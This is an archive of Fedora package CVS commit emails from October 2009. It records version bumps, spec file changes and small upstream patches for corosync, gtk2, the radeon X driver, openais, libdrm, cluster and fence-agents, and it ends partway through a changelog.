Message-ID: <20091009051117.BB13111C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/corosync/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3150

Modified Files:
	.cvsignore corosync.spec sources 
Log Message:
New upstream release fixes a few severe bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	24 Mar 2009 07:33:41 -0000	1.5
+++ .cvsignore	9 Oct 2009 05:11:17 -0000	1.6
@@ -1 +1 @@
-corosync-0.95.tar.gz
+corosync-1.1.0.tar.gz


Index: corosync.spec
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/corosync.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- corosync.spec	28 Jul 2009 12:30:54 -0000	1.25
+++ corosync.spec	9 Oct 2009 05:11:17 -0000	1.26
@@ -2,7 +2,7 @@
 
 Name: corosync
 Summary: The Corosync Cluster Engine and Application Programming Interfaces
-Version: 1.0.0
+Version: 1.1.0
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -24,6 +24,7 @@ Conflicts: openais <= 0.89, openais-deve
 BuildRequires: autoconf automake
 %endif
 BuildRequires: nss-devel
+BuildRequires: libibverbs-devel librdmacm-devel
 
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
 
@@ -34,11 +35,13 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 ./autogen.sh
 %endif
 
-%{_configure}	CFLAGS="$(echo '%{optflags}')" \
-		--prefix=%{_prefix} \
-		--sysconfdir=%{_sysconfdir} \
-		--localstatedir=%{_localstatedir} \
-		--libdir=%{_libdir}
+export ibverbs_CFLAGS=-I/usr/include/infiniband \
+export ibverbs_LIBS=-libverbs \
+export rdmacm_CFLAGS=-I/usr/include/rdma \
+export rdmacm_LIBS=-lrdmacm \
+%{configure} \
+	--enable-nss \
+	--enable-rdma
 
 %build
 make %{_smp_mflags}
@@ -84,6 +87,8 @@ fi
 %{_sbindir}/corosync-cfgtool
 %{_sbindir}/corosync-fplay
 %{_sbindir}/corosync-pload
+%{_sbindir}/corosync-cpgtool
+%{_sbindir}/corosync-quorumtool
 %dir %{_sysconfdir}/corosync
 %dir %{_sysconfdir}/corosync/uidgid.d
 %config(noreplace) %{_sysconfdir}/corosync/corosync.conf.example
@@ -203,12 +208,28 @@ The Corosync Cluster Engine APIs.
 %{_mandir}/man8/coroipc_overview.8*
 
 %changelog
-* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
+* Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.0-1
 - New upstream release
 - spec file updates:
+  * enable IB support
+  * explicitly define built-in features at configure time
+
+* Tue Sep 22 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.1-1
+- New upstream release
+- spec file updates:
+  * use proper configure macro
+
+* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-3
+- spec file updates:
   * more consistent use of macros across the board
   * fix directory ownership
 
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
+- New upstream release
+
 * Thu Jul  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.100-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/corosync/F-11/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	28 Jul 2009 12:30:54 -0000	1.6
+++ sources	9 Oct 2009 05:11:17 -0000	1.7
@@ -1 +1 @@
-257f5509f3da951ba84b596fedf42185  corosync-1.0.0.tar.gz
+f1ae40281356446d1af31a75068ec3d0  corosync-1.1.0.tar.gz



From mclasen at fedoraproject.org  Fri Oct  9 05:14:09 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri,  9 Oct 2009 05:14:09 +0000 (UTC)
Subject: rpms/gtk2/F-12 select-final-char.patch, NONE, 1.1 gtk2.spec, 1.409, 
	1.410
Message-ID: <20091009051409.7DDAA11C00C1@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3468

Modified Files:
	gtk2.spec 
Added Files:
	select-final-char.patch 
Log Message:
Make selecting the final char work again


select-final-char.patch:
 gtklabel.c |   28 +++++++++++++---------------
 1 file changed, 13 insertions(+), 15 deletions(-)

--- NEW FILE select-final-char.patch ---
diff --git a/gtk/gtklabel.c b/gtk/gtklabel.c
index 22fc6fb..14afb5e 100644
--- a/gtk/gtklabel.c
+++ b/gtk/gtklabel.c
@@ -3778,6 +3778,7 @@ get_layout_index (GtkLabel *label,
   gint trailing = 0;
   const gchar *cluster;
   const gchar *cluster_end;
+  gboolean inside;
 
   *index = 0;
 
@@ -3788,24 +3789,21 @@ get_layout_index (GtkLabel *label,
   x *= PANGO_SCALE;
   y *= PANGO_SCALE;
 
-  if (pango_layout_xy_to_index (label->layout,
-                                x, y,
-                                index, &trailing))
-    {
-      cluster = label->text + *index;
-      cluster_end = cluster;
-      while (trailing)
-        {
-          cluster_end = g_utf8_next_char (cluster_end);
-          --trailing;
-        }
-
-      *index += (cluster_end - cluster);
+  inside = pango_layout_xy_to_index (label->layout,
+                                     x, y,
+                                     index, &trailing);
 
-      return TRUE;
+  cluster = label->text + *index;
+  cluster_end = cluster;
+  while (trailing)
+    {
+      cluster_end = g_utf8_next_char (cluster_end);
+      --trailing;
     }
 
-  return FALSE;
+  *index += (cluster_end - cluster);
+
+  return inside;
 }
 
 static void


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.409
retrieving revision 1.410
diff -u -p -r1.409 -r1.410
--- gtk2.spec	5 Oct 2009 22:09:18 -0000	1.409
+++ gtk2.spec	9 Oct 2009 05:14:07 -0000	1.410
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -28,6 +28,9 @@ Source3: im-cedilla.conf
 # Biarch changes
 Patch0: gtk+-2.13.5-lib64.patch
 
+# from upstream
+Patch1: select-final-char.patch
+
 BuildRequires: atk-devel >= %{atk_version}
 BuildRequires: pango-devel >= %{pango_version}
 BuildRequires: glib2-devel >= %{glib2_version}
@@ -138,6 +141,7 @@ This package contains developer document
 %setup -q -n gtk+-%{version}
 
 %patch0 -p1 -b .lib64
+%patch1 -p1 -b .select-final-char
 
 %build
 libtoolize --force --copy
@@ -374,6 +378,9 @@ fi
 
 
 %changelog
+* Fri Oct  9 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.2-2
+- Make selecting the final char work again (#528072)
+
 * Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.2-1
 - Update to 2.18.2
 



From airlied at fedoraproject.org  Fri Oct  9 05:15:54 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri,  9 Oct 2009 05:15:54 +0000 (UTC)
Subject: rpms/xorg-x11-drv-ati/F-12 radeon-kms-no-scratch.patch, NONE,
	1.1 xorg-x11-drv-ati.spec, 1.191, 1.192
Message-ID: <20091009051554.137D411C00C1@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4473

Modified Files:
	xorg-x11-drv-ati.spec 
Added Files:
	radeon-kms-no-scratch.patch 
Log Message:
* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.10.20091006git457646d73
- Don't use scratch pixmaps for rotate


radeon-kms-no-scratch.patch:
 drmmode_display.c |   81 ++++++++++++++++++++++++++++++------------------------
 1 file changed, 45 insertions(+), 36 deletions(-)

--- NEW FILE radeon-kms-no-scratch.patch ---
>From a493feb94c0d84aaf5bfd84c6940d7f03974dd86 Mon Sep 17 00:00:00 2001
From: Dave Airlie <airlied at redhat.com>
Date: Fri, 9 Oct 2009 15:05:25 +1000
Subject: [PATCH] kms: don't use scratch pixmaps at all

use our own wrapper to allocate a pixmap for wrapping a bo in.
---
 src/drmmode_display.c |   80 +++++++++++++++++++++++++++---------------------
 1 files changed, 45 insertions(+), 35 deletions(-)

diff --git a/src/drmmode_display.c b/src/drmmode_display.c
index 1e78746..8310e0b 100644
--- a/src/drmmode_display.c
+++ b/src/drmmode_display.c
@@ -48,6 +48,34 @@
 #include <X11/extensions/dpms.h>
 #endif
 
+static PixmapPtr drmmode_create_bo_pixmap(ScreenPtr pScreen,
+					  int width, int height,
+					  int depth, int bpp,
+					  int pitch, struct radeon_bo *bo)
+{
+	PixmapPtr pixmap;
+
+	pixmap = (*pScreen->CreatePixmap)(pScreen, 0, 0, depth, 0);
+	if (!pixmap)
+		return NULL;
+
+	if (!(*pScreen->ModifyPixmapHeader)(pixmap, width, height,
+					    depth, bpp, pitch, NULL)) {
+		return NULL;
+	}
+
+	exaMoveInPixmap(pixmap);
+	radeon_set_pixmap_bo(pixmap, bo);
+
+	return pixmap;
+}
+
+static void drmmode_destroy_bo_pixmap(PixmapPtr pixmap)
+{
+	ScreenPtr pScreen = pixmap->drawable.pScreen;
+
+	(*pScreen->DestroyPixmap)(pixmap);
+}
 
 static void
 drmmode_ConvertFromKMode(ScrnInfoPtr	scrn,
@@ -156,21 +184,12 @@ create_pixmap_for_fbcon(drmmode_ptr drmmode,
 		return NULL;
 	}
 
-	pixmap = (*pScreen->CreatePixmap)(pScreen, 0, 0, fbcon->depth, 0);
+	pixmap = drmmode_create_bo_pixmap(pScreen, fbcon->width, fbcon->height,
+					  fbcon->depth, fbcon->bpp,
+					  fbcon->pitch, bo);
 	if (!pixmap) 
 		return NULL;
 
-	if (!(*pScreen->ModifyPixmapHeader)(pixmap, fbcon->width, fbcon->height,
-					   fbcon->depth, fbcon->bpp,
-					   fbcon->pitch, NULL)) {
-		xf86DrvMsg(pScrn->scrnIndex, X_ERROR,
-			   "Couldn't allocate pixmap fbcon contents\n");
-		return NULL;
-	}
-	
-	exaMoveInPixmap(pixmap);
-	radeon_set_pixmap_bo(pixmap, bo);
-
 	radeon_bo_unref(bo);
 	drmModeFreeFB(fbcon);
 	return pixmap;
@@ -202,28 +221,23 @@ void drmmode_copy_fb(ScrnInfoPtr pScrn, drmmode_ptr drmmode)
 	if (!src)
 		return;
 
-	dst = (*pScreen->CreatePixmap)(pScreen, 0, 0, pScrn->depth, 0);
+	dst = drmmode_create_bo_pixmap(pScreen, pScrn->virtualX,
+				       pScrn->virtualY, pScrn->depth,
+				       pScrn->bitsPerPixel, pitch,
+				       info->front_bo);
 	if (!dst)
 		goto out_free_src;
 
-	if (!(*pScreen->ModifyPixmapHeader)(dst, pScrn->virtualX,
-					    pScrn->virtualY, pScrn->depth,
-					    pScrn->bitsPerPixel, pitch,
-					    NULL))
-		goto out_free_dst;
-
-	exaMoveInPixmap(dst);
-	radeon_set_pixmap_bo(dst, info->front_bo);
 	info->accel_state->exa->PrepareCopy (src, dst,
 					     -1, -1, GXcopy, FB_ALLONES);
 	info->accel_state->exa->Copy (dst, 0, 0, 0, 0,
 				      pScrn->virtualX, pScrn->virtualY);
 	info->accel_state->exa->DoneCopy (dst);
 	radeon_cs_flush_indirect(pScrn);
- out_free_dst:
-	(*pScreen->DestroyPixmap)(dst);
+
+	drmmode_destroy_bo_pixmap(dst);
  out_free_src:
-	(*pScreen->DestroyPixmap)(src);
+	drmmode_destroy_bo_pixmap(src);
 
 }
 
@@ -445,20 +459,16 @@ drmmode_crtc_shadow_create(xf86CrtcPtr crtc, void *data, int width, int height)
 
 	rotate_pitch = RADEON_ALIGN(width, 63) * drmmode->cpp;
 
-	rotate_pixmap = GetScratchPixmapHeader(pScrn->pScreen,
-					       width, height,
-					       pScrn->depth,
-					       pScrn->bitsPerPixel,
-					       rotate_pitch,
-					       NULL);
-
+	rotate_pixmap = drmmode_create_bo_pixmap(pScrn->pScreen,
+						 width, height,
+						 pScrn->depth,
+						 pScrn->bitsPerPixel,
+						 rotate_pitch,
+						 drmmode_crtc->rotate_bo);
 	if (rotate_pixmap == NULL) {
 		xf86DrvMsg(pScrn->scrnIndex, X_ERROR,
 			   "Couldn't allocate shadow pixmap for rotated CRTC\n");
 	}
-
-	if (drmmode_crtc->rotate_bo)
-		radeon_set_pixmap_bo(rotate_pixmap, drmmode_crtc->rotate_bo);
 	return rotate_pixmap;
 
 }
@@ -470,7 +480,7 @@ drmmode_crtc_shadow_destroy(xf86CrtcPtr crtc, PixmapPtr rotate_pixmap, void *dat
 	drmmode_ptr drmmode = drmmode_crtc->drmmode;
 
 	if (rotate_pixmap)
-	    FreeScratchPixmapHeader(rotate_pixmap);
+		drmmode_destroy_bo_pixmap(rotate_pixmap);
 
 	if (data) {
 		drmModeRmFB(drmmode->fd, drmmode_crtc->rotate_fb_id);
-- 
1.6.5.rc2



Index: xorg-x11-drv-ati.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-ati/F-12/xorg-x11-drv-ati.spec,v
retrieving revision 1.191
retrieving revision 1.192
diff -u -p -r1.191 -r1.192
--- xorg-x11-drv-ati.spec	9 Oct 2009 04:50:00 -0000	1.191
+++ xorg-x11-drv-ati.spec	9 Oct 2009 05:15:53 -0000	1.192
@@ -7,7 +7,7 @@
 Summary:   Xorg X11 ati video driver
 Name:      xorg-x11-drv-ati
 Version:   6.13.0
-Release:   0.9.%{gitdate}git%{gitversion}%{?dist}
+Release:   0.10.%{gitdate}git%{gitversion}%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
@@ -24,6 +24,7 @@ Patch10:    radeon-6.12.2-lvds-default-m
 Patch13:    fix-default-modes.patch
 Patch14:    r600-enable-mixed.patch
 Patch15:    radeon-kms-cursor-reload.patch
+Patch16:    radeon-kms-no-scratch.patch
 
 ExcludeArch: s390 s390x
 
@@ -53,6 +54,7 @@ X.Org X11 ati video driver.
 %patch13 -p1 -b .def
 %patch14 -p1 -b .mix
 %patch15 -p1 -b .cursor-reload
+%patch16 -p1 -b .noscratch
 
 %build
 autoreconf -iv
@@ -86,6 +88,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man4/radeon.4*
 
 %changelog
+* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.10.20091006git457646d73
+- Don't use scratch pixmaps for rotate
+
 * Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 6.13.0-0.9.20091006git457646d73
 - reload cursors on mode switch/rotate
 



From fabbione at fedoraproject.org  Fri Oct  9 05:18:56 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 05:18:56 +0000 (UTC)
Subject: rpms/openais/F-11 .cvsignore, 1.14, 1.15 openais.spec, 1.44,
	1.45 sources, 1.16, 1.17
Message-ID: <20091009051856.59C5F11C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/openais/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4891

Modified Files:
	.cvsignore openais.spec sources 
Log Message:
New upstream release fixes different bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openais/F-11/.cvsignore,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- .cvsignore	27 Aug 2009 04:50:02 -0000	1.14
+++ .cvsignore	9 Oct 2009 05:18:56 -0000	1.15
@@ -1 +1 @@
-openais-1.0.1.tar.gz
+openais-1.1.0.tar.gz


Index: openais.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openais/F-11/openais.spec,v
retrieving revision 1.44
retrieving revision 1.45
diff -u -p -r1.44 -r1.45
--- openais.spec	27 Aug 2009 04:50:02 -0000	1.44
+++ openais.spec	9 Oct 2009 05:18:56 -0000	1.45
@@ -2,7 +2,7 @@
 
 Name: openais
 Summary: The openais Standards-Based Cluster Framework executive and APIs
-Version: 1.0.1
+Version: 1.1.0
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: BSD
 Group: System Environment/Base
@@ -36,12 +36,7 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 ./autogen.sh
 %endif
 
-%{_configure}	CFLAGS="$(echo '%{optflags}')" \
-		--prefix=%{_prefix} \
-		--sysconfdir=%{_sysconfdir} \
-		--localstatedir=%{_localstatedir} \
-		--libdir=%{_libdir} \
-		--with-lcrso-dir=$(pkg-config corosync --variable lcrsodir)
+%{configure}
 
 %build
 make %{_smp_mflags}
@@ -155,14 +150,27 @@ This package contains the include files 
 %{_libdir}/pkgconfig/*.pc
 
 %changelog
+* Fri Sep 25 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.1.0-1
+- New upstream release.
+
+* Tue Sep 22 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.2-1
+- New upstream release.
+- spec file updates:
+  * use proper configure macro
+
 * Thu Aug 27 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.1-1
 - New upstream release. Fixes 2 minor issues in SA CheckPoint service.
 
-* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
-- New upstream release
+* Tue Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-3
 - spec file updates:
   * consistent use of macros across the board
 
+* Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.0.0-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0.0-1
+- New upstream release
+
 * Thu Jul  2 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 0.100-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openais/F-11/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	27 Aug 2009 04:50:02 -0000	1.16
+++ sources	9 Oct 2009 05:18:56 -0000	1.17
@@ -1 +1 @@
-dd40a6d6a89904e5e65116b560573aa7  openais-1.0.1.tar.gz
+6b73c7438e230c31aec53d6af78a6b0d  openais-1.1.0.tar.gz



From airlied at fedoraproject.org  Fri Oct  9 05:40:38 2009
From: airlied at fedoraproject.org (Dave Airlie)
Date: Fri,  9 Oct 2009 05:40:38 +0000 (UTC)
Subject: rpms/libdrm/F-12 .cvsignore, 1.27, 1.28 libdrm.spec, 1.88,
	1.89 sources, 1.27, 1.28
Message-ID: <20091009054038.E540F11C02A0@cvs1.fedora.phx.redhat.com>

Author: airlied

Update of /cvs/pkgs/rpms/libdrm/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9417

Modified Files:
	.cvsignore libdrm.spec sources 
Log Message:
* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.4.15-1
- rebase to latest upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libdrm/F-12/.cvsignore,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- .cvsignore	25 Sep 2009 01:58:04 -0000	1.27
+++ .cvsignore	9 Oct 2009 05:40:38 -0000	1.28
@@ -1 +1 @@
-libdrm-2.4.14.tar.bz2
+libdrm-2.4.15.tar.bz2


Index: libdrm.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libdrm/F-12/libdrm.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- libdrm.spec	25 Sep 2009 02:03:11 -0000	1.88
+++ libdrm.spec	9 Oct 2009 05:40:38 -0000	1.89
@@ -2,7 +2,7 @@
 
 Summary: Direct Rendering Manager runtime library
 Name: libdrm
-Version: 2.4.14
+Version: 2.4.15
 Release: 1%{?dist}
 License: MIT
 Group: System Environment/Libraries
@@ -108,6 +108,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/libdrm_nouveau.pc
 
 %changelog
+* Fri Oct 09 2009 Dave Airlie <airlied at redhat.com> 2.4.15-1
+- rebase to latest upstream release
+
 * Fri Sep 25 2009 Dave Airlie <airlied at redhat.com> 2.4.14-1
 - rebase to latest upstream release - drop carried patches
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libdrm/F-12/sources,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- sources	25 Sep 2009 01:58:05 -0000	1.27
+++ sources	9 Oct 2009 05:40:38 -0000	1.28
@@ -1 +1 @@
-e785b6a6ebd6b8a49dd8210cd8742842  libdrm-2.4.14.tar.bz2
+7f5026d72145250e736f583fd60a2ce6  libdrm-2.4.15.tar.bz2



From fabbione at fedoraproject.org  Fri Oct  9 05:45:06 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 05:45:06 +0000 (UTC)
Subject: rpms/cluster/F-11 .cvsignore, 1.24, 1.25 cluster.spec, 1.50,
	1.51 sources, 1.25, 1.26
Message-ID: <20091009054506.8373B11C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10467

Modified Files:
	.cvsignore cluster.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-11/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	24 Aug 2009 12:11:05 -0000	1.24
+++ .cvsignore	9 Oct 2009 05:45:05 -0000	1.25
@@ -1 +1 @@
-cluster-3.0.2.tar.gz
+cluster-3.0.3.tar.gz


Index: cluster.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-11/cluster.spec,v
retrieving revision 1.50
retrieving revision 1.51
diff -u -p -r1.50 -r1.51
--- cluster.spec	24 Aug 2009 12:11:05 -0000	1.50
+++ cluster.spec	9 Oct 2009 05:45:06 -0000	1.51
@@ -18,7 +18,7 @@
 
 Name: cluster
 Summary: Red Hat Cluster
-Version: 3.0.2
+Version: 3.0.3
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -46,6 +46,7 @@ BuildRequires: openldap-devel perl(ExtUt
   --initddir=%{_sysconfdir}/rc.d/init.d \
   --libdir=%{_libdir} \
   --without_fence_agents \
+  --without_rgmanager \
   --without_resource_agents \
   --without_kernel_modules \
   --disable_kernel_check
@@ -92,8 +93,8 @@ Summary: Red Hat Cluster Manager
 Requires(post): chkconfig
 Requires(preun): initscripts
 Requires(preun): chkconfig
-Requires: corosync >= 1.0.0-1
-Requires: openais >= 1.0.0-1
+Requires: corosync >= 1.0.1-1
+Requires: openais >= 1.0.2-1
 Requires: perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 Requires: ricci >= 0.15.0-4 modcluster >= 0.15.0-3
 Requires: fence-agents
@@ -117,14 +118,15 @@ fi
 %dir %{_sysconfdir}/cluster
 %{_sysconfdir}/rc.d/init.d/cman
 %dir %{_sysconfdir}/cluster/cman-notify.d
-%config(noreplace) %{_sysconfdir}/udev/rules.d/*-dlm.rules
 %config(noreplace) %{_sysconfdir}/logrotate.d/cman
 %{_sbindir}/ccs*
 %{_sbindir}/cman*
 %{_sbindir}/confdb2ldif
-%{_sbindir}/dlm*
+%{_sbindir}/dlm_controld
+%{_sbindir}/dlm_tool
 %{_sbindir}/fence*
-%{_sbindir}/gfs_control*
+%{_sbindir}/gfs_control
+%{_sbindir}/gfs_controld
 %{_sbindir}/group*
 %{_sbindir}/*qdisk*
 /usr/libexec/*
@@ -146,7 +148,7 @@ fi
 %package -n clusterlib
 Group: System Environment/Libraries
 Summary: The Red Hat Cluster libraries
-Conflicts: cman < 3.0.0-5.alpha4
+Conflicts: cman < 3.0.3-1
 Provides: cmanlib = %{version}
 Obsoletes: cmanlib < 3.0.0-5.alpha4
 
@@ -156,6 +158,7 @@ The Red Hat Cluster libraries package
 %files -n clusterlib
 %defattr(-,root,root,-)
 %doc doc/COPYING.* doc/COPYRIGHT doc/README.licence
+%config(noreplace) %{_sysconfdir}/udev/rules.d/*-dlm.rules
 %{_libdir}/libcman.so.*
 %{_libdir}/libccs*.so.*
 %{_libdir}/libdlm*.so.*
@@ -196,38 +199,6 @@ The Red Hat Cluster libraries developmen
 %{_mandir}/man3/*3.gz
 %{_libdir}/pkgconfig/*.pc
 
-%package -n rgmanager
-Group: System Environment/Base
-Summary: Open Source HA Resource Group Failover for Red Hat Cluster
-License: GPLv2+ and LGPLv2+
-Requires: chkconfig initscripts
-Requires: cman resource-agents
-Requires(post): chkconfig
-Requires(preun): initscripts
-Requires(preun): chkconfig
-
-%description -n rgmanager
-Red Hat Resource Group Manager provides high availability of critical server
-applications in the event of planned or unplanned system downtime.
-
-%post -n rgmanager
-/sbin/chkconfig --add rgmanager
-
-%preun -n rgmanager
-if [ "$1" = 0 ]; then
-	/sbin/service rgmanager stop >/dev/null 2>&1
-	/sbin/chkconfig --del rgmanager
-fi
-
-%files -n rgmanager
-%defattr(-,root,root,-)
-%doc doc/COPYING.* doc/COPYRIGHT doc/README.licence rgmanager/README rgmanager/errors.txt
-%{_sysconfdir}/rc.d/init.d/rgmanager
-%{_sbindir}/clu*
-%{_sbindir}/rgmanager
-%{_sbindir}/rg_test
-%{_mandir}/man8/clu*
-
 %package -n gfs2-utils
 Group: System Environment/Kernel
 Summary: Utilities for managing the global filesystem (GFS2)
@@ -301,10 +272,26 @@ fi
 %{_mandir}/man8/*.gfs.*
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
+- New upstream release
+- spec file updates:
+  * stop shipping rgmanager from cluster
+  * drop cp_workaround patch
+  * move dlm udev rules in clusterlib where they belong
+
+* Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-2
+- Add temporary workaround to install symlinks
+
 * Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-1
 - New upstream release
 
-* Wed Jul 28 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-20
+* Thu Aug 20 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.1-1
+- New upstream release
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 3.0.0-21
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Wed Jul  8 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.0-20
 - New upstream release
 - spec file updates:
   * Update copyright header


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-11/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	24 Aug 2009 12:11:05 -0000	1.25
+++ sources	9 Oct 2009 05:45:06 -0000	1.26
@@ -1 +1 @@
-d8ef0bd6e18511e3680144832d68df64  cluster-3.0.2.tar.gz
+fed503b2c44c966dff2adcb206569d79  cluster-3.0.3.tar.gz



From fabbione at fedoraproject.org  Fri Oct  9 05:50:38 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 05:50:38 +0000 (UTC)
Subject: rpms/fence-agents/F-11 .cvsignore, 1.7, 1.8 fence-agents.spec, 1.11,
	1.12 sources, 1.8, 1.9
Message-ID: <20091009055038.D671C11C029B@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/fence-agents/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11430

Modified Files:
	.cvsignore fence-agents.spec sources 
Log Message:
New upstream release fixes a few minor bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	24 Aug 2009 13:14:37 -0000	1.7
+++ .cvsignore	9 Oct 2009 05:50:38 -0000	1.8
@@ -1 +1 @@
-fence-agents-3.0.2.tar.gz
+fence-agents-3.0.3.tar.gz


Index: fence-agents.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fence-agents/F-11/fence-agents.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- fence-agents.spec	24 Aug 2009 13:16:28 -0000	1.11
+++ fence-agents.spec	9 Oct 2009 05:50:38 -0000	1.12
@@ -18,8 +18,8 @@
 
 Name: fence-agents
 Summary: Fence Agents for Red Hat Cluster
-Version: 3.0.2
-Release: 2%{?alphatag:.%{alphatag}}%{?dist}
+Version: 3.0.3
+Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
 URL: http://sources.redhat.com/cluster/wiki/
@@ -84,15 +84,24 @@ power management for several devices.
 %{_mandir}/man8/fence*
 
 %changelog
